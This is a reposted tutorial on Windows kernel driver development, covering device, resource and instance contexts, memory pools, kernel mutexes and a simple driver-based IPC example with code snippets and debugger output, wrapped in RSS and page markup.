    <p>This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.</p>
    <p>A list of licenses authors might use can be found <a href="http://www.codeproject.com/info/Licenses.aspx">here</a></p>
    </div>
</form>
<img src ="http://www.cppblog.com/iniwf/aggbug/79638.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-11 23:05 <a href="http://www.cppblog.com/iniwf/archive/2009/04/11/79638.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Driver Development Part 3: Introduction to driver contexts</title><link>http://www.cppblog.com/iniwf/archive/2009/04/11/79637.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sat, 11 Apr 2009 15:03:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/11/79637.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79637.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/11/79637.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79637.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79637.html</trackback:ping><description><![CDATA[转自<a href="http://www.codeproject.com/KB/system/driverdev3.aspx">http://www.codeproject.com/KB/system/driverdev3.aspx</a><br><br>
<ul class=download>
    <li><a href="http://www.codeproject.com/KB/system/driverdev3/driverdev_src3.zip">Download source code - 21.8 Kb</a> </li>
</ul>
<h2>Introduction</h2>
<p>This is the third edition of the Writing Device Drivers articles. The first article helped to simply get you acquainted with device drivers and a simple framework for developing a device driver for NT. The second tutorial attempted to show how to use IOCTLs and display what the memory layout of Windows NT is. In this edition, we will go into the idea of contexts and pools. The driver we write today will also be a little more interesting as it will allow two user mode applications to communicate with each other in a simple manner. We will call this the �poor man�s pipes� implementation.</p>
<h2>What is a Context?</h2>
<p>This is a generic question, and if you program in Windows, you should understand the concept. In any case, I will give a brief overview as a refresher. A context is a user-defined data structure (users are developers) which an underlying architecture has no knowledge of what it is. What the architecture does do is pass this context around for the user so in an event driven architecture, you do not need to implement global variables or attempt to determine what object, instance, data structure, etc. the request is being issued for.</p>
<p>In Windows, some examples of using contexts would be <code>SetWindowLong</code> with <code>GWL_USERDATA</code>, <code>EnumWindows</code>, <code>CreateThread</code>, etc. These all allow you to pass in contexts which your application can use to distinguish and implement multiple instances of functions using only one implementation of the function.</p>
<h3>Device Context</h3>
<p>If you recall, in the first article, we learned how to create a device object for our driver. The driver object contains information related to the physical instance of this driver in memory. There is obviously only one per driver binary and it contains things such as the function entry points for this binary. There can be multiple devices associated with the same binary as we know we can simply call �<code>IoCreateDevice</code>� to create any number of devices that are handled by a single driver object. This is the reason that all entry points send in a device object instead of a driver object, so you can determine which device the function is being invoked for. The device objects point back to the driver object so you can still relate back to it.</p>
<div class=SmallText id=premain0 style="WIDTH: 100%"><img id=preimg0 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="0"><span id=precollapse0 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="0"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev3.aspx#" preid="0"> Copy Code</a></div>
<pre id=pre0 style="MARGIN-TOP: 0px">    NtStatus = IoCreateDevice(pDriverObject, <span class=code-keyword>sizeof</span>(EXAMPLE_DEVICE_CONTEXT),
&amp;usDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN,
FALSE, &amp;pDeviceObject);
...
<span class=code-comment>/*</span><span class=code-comment>
* Per-Device Context, User Defined
*/</span>
pExampleDeviceContext =
(PEXAMPLE_DEVICE_CONTEXT)pDeviceObject-<span class=code-keyword>&gt;</span>DeviceExtension;
KeInitializeMutex(&amp;pExampleDeviceContext-<span class=code-keyword>&gt;</span>kListMutex, <span class=code-digit>0</span>);
pExampleDeviceContext-<span class=code-keyword>&gt;</span>pExampleList  = NULL;</pre>
<p>The �<code>IoCreateDevice</code>� function contains a parameter for the size of a �Device Extension�. This can then be used to create the �deviceextension� member of the device object and this represents the user defined context. You can then create your own data structure to be passed around and used with each device object. If you define multiple devices for a single driver, you may want to have a single shared member among all your device contexts as the first member so you can quickly determine which device this function is being invoked for. The device represents the \Device\Name.</p>
<p>The context will generally contain any type of list which would need to be searched for this device, or attributes and locks for this device. An example of data which would be global per device would be free space on a disk drive. If you have three devices which each representing a particular disk drive image, the attributes which are particular for a certain device would be global for each instance of a device. As mentioned, the volume name, free space, used space, etc. would be per-device but global for all instances of the device.</p>
<h3>Resource Context</h3>
<p>This is something new but you can open a device with a longer string to specify a certain resource managed by the device itself. In the case of the file system, you would actually be specifying a file name and file path. As an example, the device can actually be opened by using <em>\Device\A\Program Files\myfile.txt</em>. Then the driver may want to allocate a context which is global for all processes who open this particular resource. In the example of the file system, items which may be global for an instance of a file could be certain cached items such as the file size, file attributes, etc. These would be unique per-file but shared among all instance handles to this file.</p>
<div class=SmallText id=premain1 style="WIDTH: 100%"><img id=preimg1 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="1"><span id=precollapse1 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="1"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev3.aspx#" preid="1"> Copy Code</a></div>
<pre id=pre1 style="MARGIN-TOP: 0px">    {   <span class=code-comment>/*</span><span class=code-comment>
* We want to use the unicode string that was used to open the driver to
* identify "pipe contexts" and match up applications that open the same name
* we do this by keeping a global list of all open instances in the device
* extension context.
* We then use reference counting so we only remove an instance from the list
* after all instances have been deleted.  We also put this in the FsContext
* of the IRP so all IRP's will be returned with this so we can easily use
* the context without searching for it.
*/</span>
<span class=code-keyword>if</span>(RtlCompareUnicodeString(&amp;pExampleList-<span class=code-keyword>&gt;</span>usPipeName,
&amp;pFileObject-<span class=code-keyword>&gt;</span>FileName, TRUE) == <span class=code-digit>0</span>)
{
bNeedsToCreate = FALSE;
pExampleList-<span class=code-keyword>&gt;</span>uiRefCount++;
pFileObject-<span class=code-keyword>&gt;</span>FsContext = (PVOID)pExampleList;</pre>
<h3>Instance Context</h3>
<p>This is the most unique context that you may want to create. It is unique for every single handle created on the system. So if process 1 and process 2 both open a new handle to the same file, while their resource context may be the same their instance context will be unique. A simple example of items which may be unique for each instance could be the file pointer. While both processes have opened the same file, they may not be reading the file from the same location. That means that each open instance handle to the file must maintain its own context data that remembers the location of the file currently being read by each particular handle.</p>
<p>Instance contexts and any context can always have pointers back to resource contexts and device contexts just as the device object has a pointer back to the driver object. These can be used where necessary to avoid needing to use look up tables and search lists for the appropriate context.</p>
<h3>The Big Picture</h3>
<p>The following diagram outlines the big picture and relationships just described above. This should help you to visualize how you may want to structure relationships within your driver. The context relationship can be structured any way you want, this is just an example. You can even create contexts outside of the three mentioned here that have their own scopes you defined.</p>
<p><img height=719 src="http://www.codeproject.com/KB/system/driverdev3/contexts.JPG" width=600></p>
<h3>Our Implementation</h3>
<p>The implementation that will be used in our driver is to have a device context and a resource context. We do not need instance contexts for what we are doing.</p>
<p>We first create a device extension using <code>IoCreateDevice</code>. This data structure will be used to maintain the list of resource contexts so all calls to �<code>Create</code>� can then be associated with the proper resource context.</p>
<p>The second implementation we have is to simply create resource contexts. We first attempt to search the list on Create to determine if the resource already exists. If it does, we will simply increment the reference counter and associate it with that handle instance. If it does not, we simply create a new one and add it to the list.</p>
<p>The Close has the opposite operation. We will simply decrement the reference count and if it reaches 0, we then remove the resource context from the list and delete it.</p>
<p>The IRP�s <code>IO_STACK_LOCATION</code> (if it) provides a pointer to a <a href="http://www.google.com/search?hl=en&amp;lr=&amp;q=FsContext+msdn" target=_blank>FILE_OBJECT</a> which we can use as a handle instance. It contains two fields we can use to store contexts and we simply use one of them to store our resource context. We could also use these to store our instance contexts if we choose to. Certain drivers may have rules and be using this for different things, but we are developing this driver outside of any framework and there are no other drivers to communicate with. This means we are free to do whatever we want but if you choose to implement a driver of a particular class, you may want to make sure what is available to you.</p>
<p>To associate resources, we simply use the name of the device string being passed in. We now append a new string onto the end of our device name to create different resources. If two applications then open the same resource string, they will be associated and share the same resource context. This resource context we have created simply maintains its own locking and a circular buffer. This circular buffer, residing in kernel memory, is accessible from any process. Thus, we can copy memory from one process and give it to another.</p>
<h2>Memory Pools</h2>
<p>In this driver, we finally start to allocate memory. In the driver, allocations are called �pools� and you allocate memory from a particular pool. In user mode, you allocate memory from the heap. In this manner, they are essentially the same. There is a manager which keeps track of these allocations and provides you with the memory. In user mode, however, while there can be multiple heaps, they are essentially the same type of memory. Also, in user mode, each set of heaps used by a process is only accessible by that process. Two processes do not share the same heap.</p>
<div class=SmallText id=premain2 style="WIDTH: 100%"><img id=preimg2 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="2"><span id=precollapse2 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="2"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev3.aspx#" preid="2"> Copy Code</a></div>
<pre id=pre2 style="MARGIN-TOP: 0px">    pExampleList = (PEXAMPLE_LIST)ExAllocatePoolWithTag(NonPagedPool,
<span class=code-keyword>sizeof</span>(EXAMPLE_LIST), EXAMPLE_POOL_TAG);
<span class=code-keyword>if</span>(pExampleList)
{</pre>
<p>In the kernel, things change a little bit. There are essentially two basic types of pools, paged and non-paged. The paged pool is essentially memory that can be paged out to disk and should only be used at IRQL &lt; <code>DISPATCH_LEVEL</code> as explained in the first tutorial. Non-paged memory is different; you can access it anywhere at anytime because it�s never paged out to disk. There are things to be aware of, though you don�t want to consume too much non-paged pool for obvious reasons, you start to run out of physical memory.</p>
<p>The pools are also shared between all drivers. That being the case, there is something that you can do to help debug pool issues and that is specifying a �pool tag�. This is a four byte identifier which is put in the pool header of your allocated memory. That way, if say, you overwrote your memory boundary, then all the sudden the file system driver crashes, you can look at the memory in the pool before the memory being accessed is invalid and notice that your driver possibly corrupted the next pool entry. This is the same concept as in user mode and you can even enable heap tagging there as well. You generally want to think of some unique name to identify your driver�s memory. This string is also usually written backwards so it�s displayed forwards when using the debugger. Since the debugger will dump the memory in <code>DWORD</code>s, the high memory will be displayed first.</p>
<p>In our driver, we allocate from the non-paged pool simply because we have a <code>KMUTEX</code> inside the data structure. We could have allocated this separately and maintained a pointer here, but for simplicity, we simply have one allocation. <code>KMUTEX</code> objects must be in non-paged memory.</p>
<h2>Kernel Mutexes</h2>
<p>In this article, we start to get into creating objects you may already be familiar with in user mode. The mutex is actually the same in the kernel as it was when you used it in user mode. In fact, each process actually has what is called a �handle table� which is simply a mapping between user mode handles and kernel objects. When you create a mutex in user mode, you actually get a mutex object created in the kernel and this is exactly what we are creating today.</p>
<p>The one difference we need to establish is that the mutex handle we create in the kernel is actually a data structure used by the kernel and it must be in non-paged memory. The parameters to wait on a mutex are a little more complicated than we are used to however.</p>
<p>The MSDN documentation for <a href="http://msdn.microsoft.com/library/en-us/kmarch/hh/kmarch/k105_f1f91d36-f988-4a0f-8327-16b2d026644d.xml.asp?frame=true" target=_blank>KeWaitForMutexObject</a> can be found by clicking the link. The documentation does mention that this is simply a macro that is really <code>KeWaitForSingleObject</code>.</p>
<p>So, what do the parameters mean? These options are explained at MSDN, however here is essentially a summary.</p>
<p>The first one is obvious, it�s the actual mutex object. The second parameter is a little stranger, it�s either <strong><code>UserRequest</code></strong> or <strong><code>Executive</code></strong>. The <code>UserRequest</code> essentially means the wait is waiting for the user and <code>Executive</code> means the wait is waiting for the scheduler. This is simply an information field, and if a process queries for the reason why this thread is waiting, this is what is returned. It doesn�t actually affect what the API does.</p>
<p>The next set of options specifies the wait mode. <strong><code>KernelMode</code></strong> or <strong><code>UserMode</code></strong> are your options. Drivers will essentially use �<code>KernelMode</code>� in this parameter. If you do your wait in <code>UserMode</code>, your stack could be paged out so you would be unable to pass parameters on the stack.</p>
<p>The third parameter is �<code>Alertable</code>� and this specifies if the thread is alertable while it waits. If this is true, then APCs can be delivered and the wait interrupted. The API will return with an APC status.</p>
<p>The last parameter is the timeout and it is a <a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winprog/winprog/large_integer_str.asp" target=_blank>LARGE_INTEGER</a>. If you wanted to set a wait, the code would be the following:</p>
<div class=SmallText id=premain3 style="WIDTH: 100%"><img id=preimg3 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="3"><span id=precollapse3 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="3"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev3.aspx#" preid="3"> Copy Code</a></div>
<pre id=pre3 style="MARGIN-TOP: 0px"> LARGE_INTEGER TimeOut;
TimeOut.QuadPart = 10000000L;
TimeOut.QuadPart *= NumberOfSeconds;
TimeOut.QuartPart = -(TimeOut.QuartPart);</pre>
<p>The timeout value is relative time so it must be negative.</p>
<p>Our implementation attempts a simple approach and specifies <code>KernelMode</code>, non-alterable, and no timeout.</p>
<div class=SmallText id=premain4 style="WIDTH: 100%"><img id=preimg4 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="4"><span id=precollapse4 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="4"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev3.aspx#" preid="4"> Copy Code</a></div>
<pre id=pre4 style="MARGIN-TOP: 0px">    NtStatus = KeWaitForMutexObject(&amp;pExampleDeviceContext-<span class=code-keyword>&gt;</span>kListMutex,
Executive, KernelMode, FALSE, NULL);
<span class=code-keyword>if</span>(NT_SUCCESS(NtStatus))
{</pre>
<p>You can find detailed information about how mutexes work, at this <a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/kmarch/hh/kmarch/Synchro_d32b914d-0503-41dd-b76e-0b4a57f76235.xml.asp" target=_blank>location</a> in MSDN.</p>
<h2>Poor Man�s Pipes Implementation</h2>
<p>The project represents a very simple implementation. In this section, we will evaluate how the driver operates and some things to think about on how we could improve the implementation. We will also cover how to use the example driver.</p>
<h3>Security</h3>
<p>This is very simple, there is none! The driver itself sets absolutely no security so essentially we don�t care who we allow to write or read from any buffer. Since we don�t care, this IPC can be used by any processes to communicate regardless of the user or their privilege.</p>
<p>The question then becomes does this really matter? I am not a security expert but to me, it all really depends. If your intention is to allow this to be used by anyone, then you may not want to implement security. If you think the users want to enforce only SYSTEM processes or not allow cross user IPC, then this is something to consider. There are cases for both. The other could possibly be that you don�t care about the user but rather you only wish that only two certain processes can communicate and no others. In this situation, perhaps you want to setup some type of registration or security so that you only allow the appropriate processes to open handles and the application then dictates what security it wants on its pipes. You could also have a model where you don�t use names but rather do per-instance handling. In this case, they may be required to duplicate the handles into other processes, for example.</p>
<h3>Circular Buffer</h3>
<p>The circular buffer is a simple implementation, it never blocks a read or write and will simply ignore extra data. The buffer size is also not configurable so the application is stuck with the value we hard-coded.</p>
<p>Does this need to be the case? Definitely not, as we saw in Part 2, we can create our own IOCTLs to issue requests to the driver. An IOCTL could be implemented to do some configuration with the driver such as how big the buffer should be. The other part could be handling. Some circular buffers actually will start wrapping around and over writing old data with new data. This could be a flag on whether you want it to ignore new data or overwrite existing data with it.</p>
<p>The circular buffer implementation is not driver specific so I will not be going over its implementation in detail.</p>
<h3>Graphical Flow of Example</h3>
<p>This is a simple illustration of the flow of this example. The <code>CreateFile()</code> API will reference this object using the symbolic linker "Example". The I/O manager will map the DOS device name to the NT Device "<em>\Device\Example</em>" and append any string we put beyond this name (like, "<em>\TestPipe</em>"). We get the IRP created by the device manager and we will first look up using the device string if we already have created a resource context. If yes, we simply use the <code>FileObject</code> of the I/O Stack Location to put our resource context after we add a reference. If not, then we need to create it first.</p>
<p><img height=760 alt="Sample image" src="http://www.codeproject.com/KB/system/driverdev3/createfile.JPG" width=594></p>
<p>As a quick reference though, the <code>FILE_OBJECT</code> will actually only contain the extra "\TestPipe". Here is an example:</p>
<div class=SmallText id=premain5 style="WIDTH: 100%"><img id=preimg5 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="5"><span id=precollapse5 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="5"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev3.aspx#" preid="5"> Copy Code</a></div>
<pre lang=text id=pre5 style="MARGIN-TOP: 0px">kd&gt; dt _FILE_OBJECT ff6f3ac0
+0x000 Type             : 5
+0x002 Size             : 112
+0x004 DeviceObject     : 0x80deea48
+0x008 Vpb              : (null)
+0x00c FsContext        : (null)
+0x010 FsContext2       : (null)
+0x014 SectionObjectPointer : (null)
+0x018 PrivateCacheMap  : (null)
+0x01c FinalStatus      : 0
+0x020 RelatedFileObject : (null)
+0x024 LockOperation    : 0 ''
+0x025 DeletePending    : 0 ''
+0x026 ReadAccess       : 0 ''
+0x027 WriteAccess      : 0 ''
+0x028 DeleteAccess     : 0 ''
+0x029 SharedRead       : 0 ''
+0x02a SharedWrite      : 0 ''
+0x02b SharedDelete     : 0 ''
+0x02c Flags            : 2
+0x030 FileName         : _UNICODE_STRING "\HELLO"
+0x038 CurrentByteOffset : _LARGE_INTEGER 0x0
+0x040 Waiters          : 0
+0x044 Busy             : 0
+0x048 LastLock         : (null)
+0x04c Lock             : _KEVENT
+0x05c Event            : _KEVENT
+0x06c CompletionContext : (null)</pre>
<p>This is a simple illustration of how the <code>ReadFile</code> operation works. Since we associated our own context on the <code>FILE_OBJECT</code>, we do not need to perform look ups and we can simply access the appropriate circular buffer when we do the Read.</p>
<p><img height=497 alt="Sample image" src="http://www.codeproject.com/KB/system/driverdev3/readfile.JPG" width=575></p>
<p>This is a simple illustration of how the <code>WrteFile</code> operation works. Since we associated our own context on the <code>FILE_OBJECT</code>, we do not need to perform look ups and we can simply access the appropriate circular buffer when we do the Write.</p>
<p><img height=492 alt="Sample image" src="http://www.codeproject.com/KB/system/driverdev3/writefile.JPG" width=591></p>
<p>The close handle, we will simply dereference the resource context. If the context is now 0, we will delete it from the global list. If it is not, then we will simply do nothing more. One thing to remember is that this is a simple illustration and we are actually handling <code>IRP_MJ_CLOSE</code> and not <code>IRP_MJ_CLEANUP</code>. This code could has been put into either one since what we are doing does not interact with the user mode application. However, if we were freeing resources that should be done in the context of the application, we would need to move this to <code>IRP_MJ_CLEANUP</code> instead. Since <a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/kmarch/hh/kmarch/k113_bb864c28-6a78-4158-be96-f03e6e23dc74.xml.asp" target=_blank>IRP_MJ_CLOSE</a> is not guaranteed to run in the context of the process, this illustration is more of how an <code>IRP_MJ_CLEANUP</code> could have occurred.</p>
<p><img height=673 alt="Sample image" src="http://www.codeproject.com/KB/system/driverdev3/closehandle.JPG" width=580></p>
<p>Although MSDN does state the <code>IRP_MJ_CLOSE</code> is not called in the context of the process, it doesn't mean that this is always true. The below stack trace shows it being called in the context of the application. If you debug and find this and think that you can simply ignore the warning on MSDN, I would think again. There is a reason that it is documented that way even if it does not always behave that way. There is another side of the coin which is, even if it doesn't behave that way, it doesn't mean things can't change in the future since they are documented that way. This is a general statement that you do not see something behave one way and expect it to always be the case. There is a document on Handling IRPs that describes the behavior of <code>IRP_MJ_CLOSE</code> and <code>IRP_MJ_CLEANUP</code>, at this <a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dndevice/html/IRP_Handle.asp" target=_blank>location</a>.</p>
<div class=SmallText id=premain6 style="WIDTH: 100%"><img id=preimg6 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="6"><span id=precollapse6 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="6"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev3.aspx#" preid="6"> Copy Code</a></div>
<pre lang=text id=pre6 style="MARGIN-TOP: 0px">THREAD ff556020  Cid 0aa4.0b1c  Teb: 7ffde000
Win32Thread: 00000000 RUNNING on processor 0
IRP List:
ffa1b6b0: (0006,0094) Flags: 00000404  Mdl: 00000000
Not impersonating
DeviceMap                 e13b0d20
Owning Process            ff57d5c8       Image:         usedriver3.exe
Wait Start TickCount      26769661       Ticks: 0
Context Switch Count      33
UserTime                  00:00:00.0000
KernelTime                00:00:00.0015
Start Address kernel32!BaseProcessStartThunk (0x77e4f35f)
*** WARNING: Unable to verify checksum for usedriver3.exe
*** ERROR: Module load completed but symbols could not be loaded for usedriver3.exe
Win32 Start Address usedriver3 (0x00401172)
Stack Init faa12000 Current faa11c4c Base faa12000 Limit faa0f000 Call 0
Priority 10 BasePriority 8 PriorityDecrement 2
ChildEBP RetAddr
faa11c70 804e0e0d example!Example_Close (FPO: [2,0,2])
(CONV: stdcall) [.\functions.c @ 275]
faa11c80 80578ce9 nt!IofCallDriver+0x3f (FPO: [0,0,0])
faa11cb8 8057337c nt!IopDeleteFile+0x138 (FPO: [Non-Fpo])
faa11cd4 804e4499 nt!ObpRemoveObjectRoutine+0xde (FPO: [Non-Fpo])
faa11cf0 8057681a nt!ObfDereferenceObject+0x4b (FPO: [EBP 0xfaa11d08] [0,0,0])
faa11d08 8057687c nt!ObpCloseHandleTableEntry+0x137 (FPO: [Non-Fpo])
faa11d4c 805768c3 nt!ObpCloseHandle+0x80 (FPO: [Non-Fpo])
faa11d58 804e7a8c nt!NtClose+0x17 (FPO: [1,0,0])
faa11d58 7ffe0304 nt!KiSystemService+0xcb (FPO: [0,0] TrapFrame @ faa11d64)
0012fe24 77f42397 SharedUserData!SystemCallStub+0x4 (FPO: [0,0,0])
0012fe28 77e41cb3 ntdll!ZwClose+0xc (FPO: [1,0,0])
0012fe30 0040110d kernel32!CloseHandle+0x55 (FPO: [1,0,0])
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ff4c 00401255 usedriver3+0x110d
0012ffc0 77e4f38c usedriver3+0x1255
0012fff0 00000000 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])</pre>
<h3>Using the Example</h3>
<p>The example is split into two new user mode processes, usedriver2 and usedriver3. The userdriver2 will allow you to type in data and it will send it to the driver. The userdriver3 source will allow you to press Enter and it will read data from the driver. Obviously, if it reads multiple strings the way it�s currently implemented, you will only see the first string displayed.</p>
<p>There is one parameter that needs to be provided and this is the name of the resource to open. This is an arbitrary name that simply allows the driver to tie two handle instances together so multiple applications can share data at the same time! �usedriver 2 HELLO� �usedriver3 HELLO� �userdriver2 Temp� �usedriver3 Temp� will open \Device\Example\HELLO and �\Device\Example\Temp� and the appropriate versions will talk to the applications with the same handle. The current implementation creates resources <strong>case insensitive</strong>. It�s very simple to change this, the <code>RtlCompareUnicodeString</code> function�s last parameter specifies whether to compare strings case sensitive or case insensitive.</p>
<h2>Building the Examples</h2>
<p>This is something that I have not gone into in previous articles. The projects included with these articles can be unzipped using the directory structure in the ZIP itself. There are �makefiles� included in the project so you can simply do �nmake clean� then �nmake� to build these binaries.</p>
<p>The makefiles may need to be changed to point to the location of your DDK (which you can order from Microsoft for the cost of shipping and handling). These makefiles point to <em>C:\NTDDK\xxx</em>, you can then just change this to your location. If you do not have nmake in your path, you may want to make sure that the Visual Studio environment is setup in your command prompt. You go to the binaries directory of Visual Studio and just run �<em>VCVARS32.BAT</em>�.</p>
<p>There may be an error when it attempts to use �rebase�. These makefiles were simply copied from other projects so the rebase is actually not necessary. It was actually only being used before to strip out debug symbols. The error can be fixed by either removing the rebase sequence from the makefile or by creating the <em>SYMBOLS</em> directory under the <em>BIN</em> directory. The reason rebase is complaining is simply because the directory does not exist.</p>
<h2>Conclusion</h2>
<p>In this article, we learned a bit more about user-mode and kernel-mode interactions and how to create a very simple IPC. We learned about creating contexts in device drivers as well as how to allocate memory and use synchronization objects in the kernel.</p>
<!-- Main Page Contents End -->
<form id=aspnetForm style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px" name=aspnetForm action=displayarticle.aspx method=post>
    <div><input id=__VIEWSTATE type=hidden value=/wEPDwUKMTAyMTMzODg1Ng9kFgJmD2QWBAILD2QWBgIDDw8WAh4HVmlzaWJsZWdkZAIJDw8WAh8AZ2RkAgwPDxYCHwBnZGQCDA9kFgoCBw9kFg4CAQ9kFgJmDxYCHgtfIUl0ZW1Db3VudGZkAgMPZBYKZg8PFgIeC05hdmlnYXRlVXJsBSgvS0Ivc3lzdGVtL2RyaXZlcmRldjMuYXNweD9kaXNwbGF5PVByaW50ZGQCAQ8PFgIfAgUlL3NjcmlwdC9BcnRpY2xlcy9SZXBvcnQuYXNweD9haWQ9OTYzNmRkAgIPDxYCHwBoZGQCAw8PFgIfAGhkZAIFDw8WAh8CBTAvc2NyaXB0L2NvbW1vbi9UZWxsRnJpZW5kLmFzcHg/b2J0aWQ9MiZvYmlkPTk2MzZkZAIFD2QWBAIBD2QWAgIBDw8WAh4EVGV4dAUaNTAgdm90ZXMgZm9yIHRoaXMgQXJ0aWNsZS5kZAIHD2QWAmYPZBYEAgEPDxYEHwMFEFBvcHVsYXJpdHk6IDguMDEfAgUpL3NjcmlwdC9BcnRpY2xlcy9Ub3BBcnRpY2xlcy5hc3B4P3RhX3NvPTFkZAIFDxYCHwMFHFJhdGluZzogPGI+NC43MTwvYj4gb3V0IG9mIDVkAhkPZBYKAgEPZBYEAgEPFgIeCWlubmVyaHRtbAWxAjxwPlRoaXMgYXJ0aWNsZSBoYXMgbm8gZXhwbGljaXQgbGljZW5zZSBhdHRhY2hlZCB0byBpdCBidXQgbWF5IGNvbnRhaW4gdXNhZ2UgdGVybXMgaW4gdGhlIGFydGljbGUgdGV4dCBvciB0aGUgZG93bmxvYWQgZmlsZXMgdGhlbXNlbHZlcy4gSWYgaW4gZG91YnQgcGxlYXNlIGNvbnRhY3QgdGhlIGF1dGhvciB2aWEgdGhlIGRpc2N1c3Npb24gYm9hcmQgYmVsb3cuPC9wPjxwPkEgbGlzdCBvZiBsaWNlbnNlcyBhdXRob3JzIG1pZ2h0IHVzZSBjYW4gYmUgZm91bmQgPGEgaHJlZj0iL2luZm8vTGljZW5zZXMuYXNweCI+aGVyZTwvYT48L3A+ZAICD2QWAgIBDxBkZBYAZAIFDxYCHwECAWQCBw8WAh8DBdcHPGgyPk90aGVyIHBvcHVsYXIgSGFyZHdhcmUgJiBTeXN0ZW0gYXJ0aWNsZXM6PC9oMj48dWw+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0veHludHNlcnZpY2UuYXNweCI+U3RhcnQgWW91ciBXaW5kb3dzIFByb2dyYW1zIEZyb20gQW4gTlQgU2VydmljZTwvYT48ZGl2IGNsYXNzPSJTbWFsbFRleHQiPk1ha2UgeW91ciBNRkMsIFZCIGFuZCBvdGhlciBXaW5kb3dzIHByb2dyYW1zIGJlaGF2ZSBsaWtlIE5UIHNlcnZpY2VzLjwvZGl2PjwvbGk+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0vc2VyaWFsLmFzcHgiPlNlcmlhbCBsaWJyYXJ5IGZvciBDKys8L2E+PGRpdiBjbGFzcz0iU21hbGxUZXh0Ij5BIGhpZ2gtcGVyZm9ybWFuY2UsIGNvbXBsZXRlIGFuZCBjb21wYWN0IHNlcmlhbCBsaWJyYXJ5IGZvciBDKys8L2Rpdj48L2xpPjxsaT48YSBocmVmPSIvS0Ivc3lzdGVtL2RyaXZlcmRldi5hc3B4Ij5Ecml2ZXIgRGV2ZWxvcG1lbnQgUGFydCAxOiBJbnRyb2R1Y3Rpb24gdG8gRHJpdmVyczwvYT48ZGl2IGNsYXNzPSJTbWFsbFRleHQiPlRoaXMgYXJ0aWNsZSB3aWxsIGdvIGludG8gdGhlIGJhc2ljcyBvZiBjcmVhdGluZyBhIHNpbXBsZSBkcml2ZXIuPC9kaXY+PC9saT48bGk+PGEgaHJlZj0iL0tCL3N5c3RlbS9ob29rc3lzLmFzcHgiPkFQSSBob29raW5nIHJldmVhbGVkPC9hPjxkaXYgY2xhc3M9IlNtYWxsVGV4dCI+VGhlIGFydGljbGUgZGVtb25zdHJhdGVzIGhvdyB0byBidWlsZCBhIHVzZXIgbW9kZSBXaW4zMiBBUEkgc3B5aW5nIHN5c3RlbTwvZGl2PjwvbGk+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0vTm9EZWxldGVEZWxheS5hc3B4Ij5FbGltaW5hdGluZyBFeHBsb3JlcidzIGRlbGF5IHdoZW4gZGVsZXRpbmcgYW4gaW4tdXNlIGZpbGU8L2E+PGRpdiBjbGFzcz0iU21hbGxUZXh0Ij5Ib3cgdG8gdHJhY2sgZG93biBhbmQgcGF0Y2ggYW4gYW5ub3lhbmNlIGluIFdpbmRvd3MgRXhwbG9yZXIncyBjb2RlLjwvZGl2PjwvbGk+PC91bD5kAgkPDxYCHwBnZGQCDQ9kFgJmD2QWAgIBD2QWAmYPZBYCAgkPFgIfAGgWAgIBDxBkZBYAZAIbDw8WAh8AZ2RkAh0PDxYCHwBnZGQCJQ8WAh8AaGQCCw8PFgIfAgUmL3NjcmlwdC9B